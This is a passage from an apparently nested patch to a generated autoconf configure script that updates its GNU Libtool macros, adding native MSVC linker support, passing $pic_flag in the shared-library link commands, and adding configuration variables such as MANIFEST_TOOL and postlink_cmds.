+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9322,7 +9900,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9330,7 +9908,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9346,7 +9924,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9370,10 +9948,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9452,23 +10030,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9553,7 +10144,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9572,9 +10163,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10150,8 +10741,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10184,13 +10776,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11092,7 +11742,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11095 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11136,10 +11786,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11198,7 +11848,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11201 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11242,10 +11892,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -15351,13 +16001,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -15372,14 +16029,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -15412,12 +16072,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -15472,8 +16132,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -15483,12 +16148,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -15504,7 +16171,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -15540,6 +16206,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -16313,7 +16980,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -16416,19 +17084,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -16458,6 +17149,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -16467,6 +17164,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -16581,12 +17281,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -16673,9 +17373,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -16691,6 +17388,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -16723,210 +17423,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
